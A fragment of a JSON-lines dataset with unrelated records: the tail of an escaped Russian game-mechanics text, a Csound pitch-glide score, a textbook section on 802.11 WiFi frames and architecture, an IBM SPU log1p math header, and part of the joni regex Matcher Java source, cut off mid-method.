\u043d\u0435 \u043d\u0430\u0446\u0435\u043b\u0435\u043d, \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u0432 \u0432\u043e\u0437\u0434\u0443\u0445\u0435 \u043f\u0435\u0440\u0435\u0434 \u0432\u0430\u043c\u0438.\n\u041f\u043e\u0434\u043e\u0431\u043d\u043e , \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u0438\u0442\u044c \u043f\u0435\u043d\u044c\u043a\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0435\u0432\u043a\u0443 \u0438 \u0441\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u043e\u043b\u043e\u043a\u0443 \u043a \u0432\u043e\u0437\u0434\u0443\u0448\u043d\u043e\u043c\u0443 \u0448\u0430\u0440\u0443.\n\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0449\u0435\u043b\u0447\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u044b\u0441\u043e\u0442\u044b \u0434\u043b\u044f \u0432\u043e\u0437\u0434\u0443\u0448\u043d\u043e\u0433\u043e \u0448\u0430\u0440\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u0434\u043e 5 \u0431\u043b\u043e\u043a\u043e\u0432 \u0432\u044b\u0448\u0435 \u0446\u0435\u043b\u0438.\n\u0412\u044b \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0440\u0430\u0441\u0438\u0442\u0435\u043b\u0438 \u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u043c \u0432\u043e\u0437\u0434\u0443\u0448\u043d\u043e\u043c \u0448\u0430\u0440\u0435; \u043a\u0430\u043a\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0432\u044b \u043a\u0440\u0430\u0441\u0438\u0442\u0435, \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0443\u0434\u0430 \u0432\u044b \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u0435\u0442\u0435 \u0435\u0433\u043e.\n\u041f\u0440\u0430\u0432\u044b\u0439 \u0449\u0435\u043b\u0447\u043e\u043a \u043c\u043e\u043b\u043e\u0442\u043a\u043e\u043c \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0432\u043e\u0437\u0434\u0443\u0448\u043d\u043e\u0433\u043e \u0448\u0430\u0440\u0430 \u043c\u0435\u0436\u0434\u0443 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u043e\u0441\u0430\u043c\u0438."} -{"text": "\n\n; Select audio/midi flags here according to platform\n-odac ;;;realtime audio out\n;-iadc ;;;uncomment -iadc if realtime audio input is needed too\n; For Non-realtime ouput leave only the line below:\n; -o expon.wav -W ;;; for file output any platform\n\n\n\nsr = 44100\nksmps = 32\nnchnls = 2\n0dbfs = 1\n\ninstr 1 \n\nkpitch = p6\n;choose between expon or line\nif (kpitch == 0) then \t\n kpitch expon p4, p3, p5 \nelseif (kpitch == 1) then\n kpitch line p4, p3, p5 \nendif\n\nasig vco2 .6, kpitch \n outs asig, asig\n\nendin \n \n \n\ni 1 0 2 300 600 0\t;if p6=0 then expon is used\ni 1 3 2 300 600 1\t;if p6=1 then line is used\ni 1 6 2 600 1200 0\ni 1 9 2 600 1200 1\ni 1 12 2 1200 2400 0\ni 1 15 2 1200 2400 1\ni 1 18 2 2400 30 0\ni 1 21 2 2400 30 1\ne\n \n \n"} -{"text": ".. Copyright |copy| 2010 by Olivier Bonaventure\n.. This file is licensed under a `creative commons licence `_\n\n802.11 wireless networks\n========================\n\nThe radio spectrum is a limited resource that must be shared by everyone. During most of the twentieth century, governments and international organisations have regulated most of the radio spectrum. This regulation controls the utilisation of the radio spectrum, in order to ensure that there are no interferences between different users. A company that wants to use a frequency range in a given region must apply for a license from the regulator. Most regulators charge a fee for the utilisation of the radio spectrum and some governments have encouraged competition among companies bidding for the same frequency to increase the license fees. \n\nIn the 1970s, after the first experiments with ALOHANet, interest in wireless networks grew. Many experiments were done on and outside the ARPANet. One of these experiments was the `first mobile phone `_ , which was developed and tested in 1973. This experimental mobile phone was the starting point for the first generation analog mobile phones. Given the growing demand for mobile phones, it was clear that the analog mobile phone technology was not sufficient to support a large number of users. To support more users and new services, researchers in several countries worked on the development of digital mobile telephones. In 1987, several European countries decided to develop the standards for a common cellular telephone system across Europe : the `Global System for Mobile Communications` (GSM). Since then, the standards have evolved and more than three billion users are connected to GSM networks today.\n\n.. index:: WiFi\n\nWhile most of the frequency ranges of the radio spectrum are reserved for specific applications and require a special licence, there are a few exceptions. These exceptions are known as the `Industrial, Scientific and Medical `_ (ISM) radio bands. These bands can be used for industrial, scientific and medical applications without requiring a licence from the regulator. For example, some radio-controlled models use the 27 MHz ISM band and some cordless telephones operate in the 915 MHz ISM. In 1985, the 2.400-2.500 GHz band was added to the list of ISM bands. This frequency range corresponds to the frequencies that are emitted by microwave ovens. Sharing this band with licensed applications would have likely caused interferences, given the large number of microwave ovens that are used. Despite the risk of interferences with microwave ovens, the opening of the 2.400-2.500 GHz allowed the networking industry to develop several wireless network techniques to allow computers to exchange data without using cables. In this section, we discuss in more detail the most popular one, i.e. the WiFi [802.11]_ family of wireless networks. Other wireless networking techniques such as `BlueTooth `_ or `HiperLAN `_ use the same frequency range.\n\nToday, WiFi is a very popular wireless networking technology. There are more than several hundreds of millions of WiFi devices. The development of this technology started in the late 1980s with the `WaveLAN `_ proprietary wireless network. WaveLAN operated at 2 Mbps and used different frequency bands in different regions of the world. In the early 1990s, the IEEE_ created the `802.11 working group `_ to standardise a family of wireless network technologies. This working group was very prolific and produced several wireless networking standards that use different frequency ranges and different physical layers. The table below provides a summary of the main 802.11 standards.\n\n\n======== ========= ========== =========== ==============\nStandard\tFrequency\tTypical\t\tMax\t\tRange (m)\n\t\t\t\tthroughput\tbandwidth\tindoor/outdoor\n======== ========= ========== =========== ==============\n802.11\t\t2.4 GHz\t\t0.9 Mbps\t2 Mbps\t\t20/100\n802.11a\t\t5 GHz\t\t23 Mbps\t\t54 Mbps\t\t35/120\n802.11b\t\t2.4 GHz\t\t4.3 Mbps\t11 Mbps\t\t38/140\n802.11g\t\t2.4 GHz\t\t19 Mbps\t\t54 Mbps\t\t38/140\n802.11n\t\t2.4/5 GHz\t74 Mbps\t\t150 Mbps\t70/250\n======== ========= ========== =========== ==============\n\nWhen developing its family of standards, the `IEEE 802.11 working group `_ took a similar approach as the `IEEE 802.3 working group `_ that developed various types of physical layers for Ethernet networks. 802.11 networks use the CSMA/CA Medium Access Control technique described earlier and they all assume the same architecture and use the same frame format.\n\n\n\n.. index:: Basic Service Set (BSS), BSS, adhoc network, independent network\n\nThe architecture of WiFi networks is slightly different from the Local Area Networks that we have discussed until now. There are, in practice, two main types of WiFi networks : `independent` or `adhoc` networks and `infrastructure` networks [#fBSS]_. An `independent` or `adhoc` network is composed of a set of devices that communicate with each other. These devices play the same role and the `adhoc` network is usually not connected to the global Internet. `Adhoc` networks are used when for example a few laptops need to exchange information or to connect a computer with a WiFi printer.\n\n\n.. figure:: svg/datalink-fig-018-c.png\n :align: center\n :scale: 70\n \n An 802.11 independent or adhoc network\n\n\n\n.. index:: infrastructure network\n\nMost WiFi networks are `infrastructure` networks. An `infrastructure` network contains one or more `access points` that are attached to a fixed Local Area Network (usually an Ethernet network) that is connected to other networks such as the Internet. The figure below shows such a network with two access points and four WiFi devices. Each WiFi device is associated to one access point and uses this access point as a relay to exchange frames with the devices that are associated to another access point or reachable through the LAN.\n\n\n.. figure:: svg/datalink-fig-019-c.png\n :align: center\n :scale: 70\n \n An 802.11 infrastructure network\n\nAn 802.11 access point is a relay that operates in the datalink layer like switches. The figure below represents the layers of the reference model that are involved when a WiFi host communicates with a host attached to an Ethernet network through an access point.\n\n.. figure:: png/lan-fig-103-c.png\n :align: center\n :scale: 70\n \n An 802.11 access point\n\n.. index:: 802.11 frame format\n\n802.11 devices exchange variable length frames, which have a slightly different structure than the simple frame format used in Ethernet LANs. We review the key parts of the 802.11 frames. Additional details may be found in [802.11]_ and [Gast2002]_ . An 802.11 frame contains a fixed length header, a variable length payload that may contain up 2324 bytes of user data and a 32 bits CRC. Although the payload can contain up to 2324 bytes, most 802.11 deployments use a maximum payload size of 1500 bytes as they are used in `infrastructure` networks attached to Ethernet LANs. An 802.11 data frame is shown below.\n\n.. figure:: pkt/80211.png\n :align: center\n :scale: 100\n\n 802.11 data frame format\n \n\nThe first part of the 802.11 header is the 16 bit `Frame Control` field. This field contains flags that indicate the type of frame (data frame, RTS/CTS, acknowledgement, management frames, etc), whether the frame is sent to or from a fixed LAN, etc [802.11]_. The `Duration` is a 16 bit field that is used to reserve the transmission channel. In data frames, the `Duration` field is usually set to the time required to transmit one acknowledgement frame after a SIFS delay. Note that the `Duration` field must be set to zero in multicast and broadcast frames. As these frames are not acknowledged, there is no need to reserve the transmission channel after their transmission. The `Sequence control` field contains a 12 bits sequence number that is incremented for each data frame.\n\n\nThe astute reader may have noticed that the 802.11 data frames contain three 48-bits address fields [#f4addresses]_ . This is surprising compared to other protocols in the network and datalink layers whose headers only contain a source and a destination address. The need for a third address in the 802.11 header comes from the `infrastructure` networks. In such a network, frames are usually exchanged between routers and servers attached to the LAN and WiFi devices attached to one of the access points. The role of the three address fields is specified by bit flags in the `Frame Control` field. \n\nWhen a frame is sent from a WiFi device to a server attached to the same LAN as the access point, the first address of the frame is set to the MAC address of the access point, the second address is set to the MAC address of the source WiFi device and the third address is the address of the final destination on the LAN. When the server replies, it sends an Ethernet frame whose source address is its MAC address and the destination address is the MAC address of the WiFi device. This frame is captured by the access point that converts the Ethernet header into an 802.11 frame header. The 802.11 frame sent by the access point contains three addresses : the first address is the MAC address of the destination WiFi device, the second address is the MAC address of the access point and the third address the MAC address of the server that sent the frame.\n\n802.11 control frames are simpler than data frames. They contain a `Frame Control`, a `Duration` field and one or two addresses. The acknowledgement frames are very small. They only contain the address of the destination of the acknowledgement. There is no source address and no `Sequence Control` field in the acknowledgement frames. This is because the acknowledgement frame can easily be associated to the previous frame that it acknowledges. Indeed, each unicast data frame contains a `Duration` field that is used to reserve the transmission channel to ensure that no collision will affect the acknowledgement frame. The `Sequence Control` field is mainly used by the receiver to remove duplicate frames. Duplicate frames are detected as follows. Each data frame contains a 12 bits `Sequence Control` field and the `Frame Control` field contains the `Retry` bit flag that is set when a frame is transmitted. Each 802.11 receiver stores the most recent sequence number received from each source address in frames whose `Retry` bit is reset. Upon reception of a frame with the `Retry` bit set, the receiver verifies its sequence number to determine whether it is a duplicated frame or not. \n\n.. figure:: pkt/80211-cts.png\n :align: center\n :scale: 100\n\n IEEE 802.11 ACK and CTS frames\n\n\n.. index:: RTS frame (802.11), CTS frame (802.11)\n\n802.11 RTS/CTS frames are used to reserve the transmission channel, in order to transmit one data frame and its acknowledgement. The RTS frames contain a `Duration` and the transmitter and receiver addresses. The `Duration` field of the RTS frame indicates the duration of the entire reservation (i.e. the time required to transmit the CTS, the data frame, the acknowledgements and the required SIFS delays). The CTS frame has the same format as the acknowledgement frame.\n\n.. figure:: pkt/80211-rts.png\n :align: center\n :scale: 100\n\n IEEE 802.11 RTS frame format\n\n\n.. note:: The 802.11 service\n\n Despite the utilization of acknowledgements, the 802.11 layer only provides an unreliable connectionless service like Ethernet networks that do not use acknowledgements. The 802.11 acknowledgements are used to minimize the probability of frame duplication. They do not guarantee that all frames will be correctly received by their recipients. Like Ethernet, 802.11 networks provide a high probability of successful delivery of the frames, not a guarantee. Furthermore, it should be noted that 802.11 networks do not use acknowledgements for multicast and broadcast frames. This implies that in practice such frames are more likely to suffer from transmission errors than unicast frames.\n\n.. index:: beacon frame (802.11), Service Set Identity (SSID), SSID\n\nIn addition to the data and control frames that we have briefly described above, 802.11 networks use several types of management frames. These management frames are used for various purposes. We briefly describe some of these frames below. A detailed discussion may be found in [802.11]_ and [Gast2002]_. \n \n\nA first type of management frames are the `beacon` frames. These frames are broadcasted regularly by access points. Each `beacon frame` contains information about the capabilities of the access point (e.g. the supported 802.11 transmission rates) and a `Service Set Identity` (SSID). The SSID is a null-terminated ASCII string that can contain up to 32 characters. An access point may support several SSIDs and announce them in beacon frames. An access point may also choose to remain silent and not advertise beacon frames. In this case, WiFi stations may send `Probe request` frames to force the available access points to return a `Probe response` frame.\n\n\n.. note:: IP over 802.11\n\n Two types of encapsulation schemes were defined to support IP in Ethernet networks : the original encapsulation scheme, built above the Ethernet DIX format is defined in :rfc:`894` and a second encapsulation :rfc:`1042` scheme, built above the LLC/SNAP protocol [802.2]_. In 802.11 networks, the situation is simpler and only the :rfc:`1042` encapsulation is used. In practice, this encapsulation adds 6 bytes to the 802.11 header. The first four bytes correspond to the LLC/SNAP header. They are followed by the two bytes Ethernet Type field (`0x800` for IP and `0x806` for ARP). The figure below shows an IP packet encapsulated in an 802.11 frame.\n\n.. figure:: pkt/ip-80211.png\n :align: center\n :scale: 100\n\n IP over IEEE 802.11\n \nThe second important utilisation of the management frames is to allow a WiFi station to be associated with an access point. When a WiFi station starts, it listens to beacon frames to find the available SSIDs. To be allowed to send and receive frames via an access point, a WiFi station must be associated to this access point. If the access point does not use any security mechanism to secure the wireless transmission, the WiFi station simply sends an `Association request` frame to its preferred access point (usually the access point that it receives with the strongest radio signal). This frame contains some parameters chosen by the WiFi station and the SSID that it requests to join. The access point replies with an `Association response frame` if it accepts the WiFI station. \n\n.. rubric:: Footnotes\n\n.. [#fBSS] The 802.11 working group defined the `basic service set (BSS)` as a group of devices that communicate with each other. We continue to use `network` when referring to a set of devices that communicate.\n\n.. [#f4addresses] In fact, the [802.11]_ frame format contains a fourth optional address field. This fourth address is only used when an 802.11 wireless network is used to interconnect bridges attached to two classical LAN networks.\n\n.. include:: ../links.rst\n\n"} -{"text": "/* -------------------------------------------------------------- */\n/* (C)Copyright 2007,2008, */\n/* International Business Machines Corporation */\n/* All Rights Reserved. */\n/* */\n/* Redistribution and use in source and binary forms, with or */\n/* without modification, are permitted provided that the */\n/* following conditions are met: */\n/* */\n/* - Redistributions of source code must retain the above copyright*/\n/* notice, this list of conditions and the following disclaimer. */\n/* */\n/* - Redistributions in binary form must reproduce the above */\n/* copyright notice, this list of conditions and the following */\n/* disclaimer in the documentation and/or other materials */\n/* provided with the distribution. */\n/* */\n/* - Neither the name of IBM Corporation nor the names of its */\n/* contributors may be used to endorse or promote products */\n/* derived from this software without specific prior written */\n/* permission. */\n/* */\n/* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND */\n/* CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, */\n/* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF */\n/* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */\n/* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR */\n/* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, */\n/* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT */\n/* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; */\n/* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) */\n/* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN */\n/* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR */\n/* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, */\n/* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */\n/* -------------------------------------------------------------- */\n/* PROLOG END TAG zYx */\n\n#ifdef __SPU__\n#ifndef _LOG1PD2_H_\n#define _LOG1PD2_H_\t1\n\n#include \n#include \"simdmath.h\"\n\n#include \"logd2.h\"\n#include \"divd2.h\"\n\n\n\n#define LOG1PD2_P0 0.0000000000000000000000000e+00\n#define LOG1PD2_P1 1.0000000000000000000000000e+00\n#define LOG1PD2_P2 2.3771612265431403265836252e+00\n#define LOG1PD2_P3 2.0034423569559494104908026e+00\n#define LOG1PD2_P4 7.1309327316770110272159400e-01\n#define LOG1PD2_P5 9.8219761968547217301228613e-02\n#define LOG1PD2_P6 3.4385125174546914139650511e-03\n\n#define LOG1PD2_Q0 1.0000000000000000000000000e+00\n#define LOG1PD2_Q1 2.8771612265431403265836252e+00\n#define LOG1PD2_Q2 3.1086896368941925317130881e+00\n#define LOG1PD2_Q3 1.5583843494335058998956356e+00\n#define LOG1PD2_Q4 3.6047236436186669283898709e-01\n#define LOG1PD2_Q5 3.2620075387969869884496887e-02\n#define LOG1PD2_Q6 6.8047193336239690346356479e-04\n\n\n/*\n * FUNCTION\n *\tvector double _log1pd2(vector double x)\n *\n * DESCRIPTION\n *\tThe function _log1pd2 computes the natural logarithm of x + 1 \n *\tfor each of the double word elements of x.\n *\n */\n\nstatic __inline vector double _log1pd2(vector double x) \n{\n vector double oned = spu_splats(1.0);\n vector double rangehi = spu_splats(0.35);\n vector double rangelo = spu_splats(0.0);\n vector unsigned long long use_log;\n vector double pr, qr;\n vector double eresult;\n vector double rresult;\n vector double result;\n\n /* Compiler Bug. Replace xbug with x when spu_cmp*() doesn't \n * modify it's arguments! */\n volatile vector double xbug = x;\n use_log = spu_or(spu_cmpgt(xbug, rangehi), spu_cmpgt(rangelo, xbug));\n\n /*\n * Calculate directly using log(x+1)\n */\n eresult = _logd2(spu_add(x, oned));\n\n /*\n * For x in [0.0,0.35], use a rational approximation.\n */\n pr = spu_madd(x, spu_splats(LOG1PD2_P6), spu_splats(LOG1PD2_P5));\n qr = spu_madd(x, spu_splats(LOG1PD2_Q6), spu_splats(LOG1PD2_Q5));\n pr = spu_madd(pr, x, spu_splats(LOG1PD2_P4));\n qr = spu_madd(qr, x, spu_splats(LOG1PD2_Q4));\n pr = spu_madd(pr, x, spu_splats(LOG1PD2_P3));\n qr = spu_madd(qr, x, spu_splats(LOG1PD2_Q3));\n pr = spu_madd(pr, x, spu_splats(LOG1PD2_P2));\n qr = spu_madd(qr, x, spu_splats(LOG1PD2_Q2));\n pr = spu_madd(pr, x, spu_splats(LOG1PD2_P1));\n qr = spu_madd(qr, x, spu_splats(LOG1PD2_Q1));\n pr = spu_madd(pr, x, spu_splats(LOG1PD2_P0));\n qr = spu_madd(qr, x, spu_splats(LOG1PD2_Q0));\n rresult = _divd2(pr, qr);\n\n /*\n * Select either direct calculation or rational approximation.\n */\n result = spu_sel(rresult, eresult, use_log);\n\n return result;\n}\n\n#endif /* _LOG1PD2_H_ */\n#endif /* __SPU__ */\n"} -{"text": "/*\n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\n * of the Software, and to permit persons to whom the Software is furnished to do\n * so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\npackage org.joni;\n\nimport static org.joni.Option.isFindLongest;\n\nimport org.jcodings.Encoding;\nimport org.jcodings.IntHolder;\nimport org.jcodings.constants.CharacterType;\nimport org.jcodings.specific.ASCIIEncoding;\nimport org.joni.constants.internal.AnchorType;\n\npublic abstract class Matcher extends IntHolder {\n public static final int FAILED = -1;\n public static final int INTERRUPTED = -2;\n\n protected final Regex regex;\n protected final Encoding enc;\n\n protected final byte[]bytes;\n protected final int str;\n protected final int end;\n\n protected int msaStart;\n protected int msaOptions;\n protected final Region msaRegion;\n protected int msaBestLen;\n protected int msaBestS;\n\n protected int msaBegin;\n protected int msaEnd;\n\n Matcher(Regex regex, Region region, byte[]bytes, int p, int end) {\n this.regex = regex;\n this.enc = regex.enc;\n this.bytes = bytes;\n this.str = p;\n this.end = end;\n this.msaRegion = region;\n }\n\n // main matching method\n protected abstract int matchAt(int range, int sstart, int sprev, boolean interrupt) throws InterruptedException;\n\n protected abstract void stateCheckBuffInit(int strLength, int offset, int stateNum);\n protected abstract void stateCheckBuffClear();\n\n public abstract void interrupt();\n\n public final Region getRegion() {\n return msaRegion;\n }\n\n public final Region getEagerRegion() {\n return msaRegion != null ? msaRegion : new Region(msaBegin, msaEnd);\n }\n\n public final int getBegin() {\n return msaBegin;\n }\n\n public final int getEnd() {\n return msaEnd;\n }\n\n protected final void msaInit(int option, int start) {\n msaOptions = option;\n msaStart = start;\n if (Config.USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE) msaBestLen = -1;\n }\n\n public final int match(int at, int range, int option) {\n try {\n return matchCommon(at, range, option, false);\n } catch (InterruptedException ex) {\n return INTERRUPTED;\n }\n }\n\n public final int matchInterruptible(int at, int range, int option) throws InterruptedException {\n return matchCommon(at, range, option, true);\n }\n\n private final int matchCommon(int at, int range, int option, boolean interrupt) throws InterruptedException {\n msaInit(option, at);\n\n if (Config.USE_CEC) {\n int offset = at = str;\n stateCheckBuffInit(end - str, offset, regex.numCombExpCheck); // move it to construction?\n } // USE_COMBINATION_EXPLOSION_CHECK\n\n int prev = enc.prevCharHead(bytes, str, at, end);\n\n if (Config.USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE) {\n return matchAt(end /*range*/, at, prev, interrupt);\n } else {\n return matchAt(range /*range*/, at, prev, interrupt);\n }\n }\n\n int low, high; // these are the return values\n private final boolean forwardSearchRange(byte[]bytes, int str, int end, int s, int range, IntHolder lowPrev) {\n int pprev = -1;\n int p = s;\n\n if (Config.DEBUG_SEARCH) debugForwardSearchRange(str, end, s, range);\n\n if (regex.dMin > 0) {\n if (enc.isSingleByte()) {\n p += regex.dMin;\n } else {\n int q = p + regex.dMin;\n while (p < q && p < end) p += enc.length(bytes, p, end);\n }\n }\n\n retry:while (true) {\n if (Config.DEBUG_SEARCH) debugSearch(regex.forward.getName(), p, end, range);\n p = regex.forward.search(this, bytes, p, end, range);\n\n if (p != -1 && p < range) {\n if (p - regex.dMin < s) {\n // retry_gate:\n pprev = p;\n p += enc.length(bytes, p, end);\n continue retry;\n }\n\n if (regex.subAnchor != 0) {\n switch (regex.subAnchor) {\n case AnchorType.BEGIN_LINE:\n if (p != str) {\n int prev = enc.prevCharHead(bytes, (pprev != -1) ? pprev : str, p, end);\n if (!enc.isNewLine(bytes, prev, end)) {\n // goto retry_gate;\n pprev = p;\n p += enc.length(bytes, p, end);\n continue retry;\n }\n }\n break;\n\n case AnchorType.END_LINE:\n if (p == end) {\n if (!Config.USE_NEWLINE_AT_END_OF_STRING_HAS_EMPTY_LINE) {\n int prev = enc.prevCharHead(bytes, (pprev != -1) ? pprev : str, p, end);\n if (prev != -1 && enc.isNewLine(bytes, prev, end)) {\n // goto retry_gate;\n pprev = p;\n p += enc.length(bytes, p, end);\n continue retry;\n }\n }\n } else if (!enc.isNewLine(bytes, p, end) && (!Config.USE_CRNL_AS_LINE_TERMINATOR || !enc.isMbcCrnl(bytes, p, end))) {\n //if () break;\n // goto retry_gate;\n pprev = p;\n p += enc.length(bytes, p, end);\n continue retry;\n }\n break;\n } // switch\n }\n\n if (regex.dMax == 0) {\n low = p;\n if (lowPrev != null) { // ??? // remove null checks\n if (low > s) {\n lowPrev.value = enc.prevCharHead(bytes, s, p, end);\n } else {\n lowPrev.value = enc.prevCharHead(bytes, (pprev != -1) ? pprev : str, p, end);\n }\n }\n } else {\n if (regex.dMax != MinMaxLen.INFINITE_DISTANCE) {\n low = p - regex.dMax;\n\n if (low > s) {\n low = enc.rightAdjustCharHeadWithPrev(bytes, s, low, end, lowPrev);\n if (lowPrev != null && lowPrev.value == -1) {\n lowPrev.value = enc.prevCharHead(bytes, (pprev != -1) ? pprev : s, low, end);\n }\n } else {\n if (lowPrev != null) {\n lowPrev.value = enc.prevCharHead(bytes, (pprev != -1) ? pprev : str, low, end);\n }\n }\n }\n }\n /* no needs to adjust *high, *high is used as range check only */\n high = p - regex.dMin;\n if (Config.DEBUG_SEARCH) debugForwardSearchRangeSuccess(str, low, high);\n return true; /* success */\n }\n return false; /* fail */\n } //while\n }\n\n // low, high\n private final boolean backwardSearchRange(byte[]bytes, int str, int end, int s, int range, int adjrange) {\n range += regex.dMin;\n int p = s;\n\n retry:while (true) {\n p = regex.backward.search(this, bytes, range, adjrange, end, p, s, range);\n\n if (p != -1) {\n if (regex.subAnchor != 0) {\n switch (regex.subAnchor) {\n case AnchorType.BEGIN_LINE:\n if (p != str) {\n int prev = enc.prevCharHead(bytes, str, p, end);\n if (!enc.isNewLine(bytes, prev, end)) {\n p = prev;\n continue retry;\n }\n }\n break;\n\n case AnchorType.END_LINE:\n if (p == end) {\n if (!Config.USE_NEWLINE_AT_END_OF_STRING_HAS_EMPTY_LINE) {\n int prev = enc.prevCharHead(bytes, adjrange, p, end);\n if (prev == -1) return false;\n if (enc.isNewLine(bytes, prev, end)) {\n p = prev;\n continue retry;\n }\n }\n } else if (!enc.isNewLine(bytes, p, end) && (!Config.USE_CRNL_AS_LINE_TERMINATOR || !enc.isMbcCrnl(bytes, p, end))) {\n p = enc.prevCharHead(bytes, adjrange, p, end);\n if (p == -1) return false;\n continue retry;\n }\n break;\n } // switch\n }\n\n /* no needs to adjust *high, *high is used as range check only */\n if (regex.dMax != MinMaxLen.INFINITE_DISTANCE) {\n low = p - regex.dMax;\n high = p - regex.dMin;\n high = enc.rightAdjustCharHead(bytes, adjrange, high, end);\n }\n\n if (Config.DEBUG_SEARCH) debugBackwardSearchRange(str, low, high);\n return true;\n }\n\n if (Config.DEBUG_SEARCH) Config.log.println(\"backward_search_range: fail.\");\n return false;\n } // while\n }\n\n // MATCH_AND_RETURN_CHECK\n private boolean matchCheck(int upperRange, int s, int prev, boolean interrupt) throws InterruptedException {\n if (Config.USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE) {\n if (Config.USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE) {\n //range = upperRange;\n if (matchAt(upperRange, s, prev, interrupt) != -1) {\n if (!isFindLongest(regex.options)) return true;\n }\n } else {\n //range = upperRange;\n if (matchAt(upperRange, s, prev, interrupt) != -1) return true;\n }\n } else {\n if (Config.USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE) {\n if (matchAt(end, s, prev, interrupt) != -1) {\n //range = upperRange;\n if (!isFindLongest(regex.options)) return true;\n }\n } else {\n //range = upperRange;\n if (matchAt(end, s, prev, interrupt) != -1) return true;\n }\n }\n return false;\n }\n\n public final int search(int start, int range, int option) {\n try {\n return searchCommon(start, range, option, false);\n } catch (InterruptedException ex) {\n return INTERRUPTED;\n }\n }\n\n public final int searchInterruptible(int start, int range, int option) throws InterruptedException {\n return searchCommon(start, range, option, true);\n }\n\n private final int searchCommon(int start, int range, int option, boolean interrupt) throws InterruptedException {\n int s, prev;\n int origStart = start;\n int origRange = range;\n\n if (Config.DEBUG_SEARCH) debugSearch(str, end, start, range);\n\n if (start > end || start < str) return FAILED;\n\n /* anchor optimize: resume search range */\n if (regex.anchor != 0 && str < end) {\n int minSemiEnd, maxSemiEnd;\n\n if ((regex.anchor & AnchorType.BEGIN_POSITION) != 0) {\n /* search start-position only */\n // !begin_position:!\n if (range > start) {\n range = start + 1;\n } else {\n range = start;\n }\n } else if ((regex.anchor & AnchorType.BEGIN_BUF) != 0) {\n /* search str-position only */\n if (range > start) {\n if (start != str) return FAILED; // mismatch_no_msa;\n range = str + 1;\n } else {\n if (range <= str) {\n start = str;\n range = str;\n } else {\n return FAILED; // mismatch_no_msa;\n }\n }\n } else if ((regex.anchor & AnchorType.END_BUF) != 0) {\n minSemiEnd = maxSemiEnd = end;\n // !end_buf:!\n if (endBuf(start, range, minSemiEnd, maxSemiEnd)) return FAILED; // mismatch_no_msa;\n } else if ((regex.anchor & AnchorType.SEMI_END_BUF) != 0) {\n int preEnd = enc.stepBack(bytes, str, end, end, 1);\n maxSemiEnd = end;\n if (enc.isNewLine(bytes, preEnd, end)) {\n minSemiEnd = preEnd;\n if 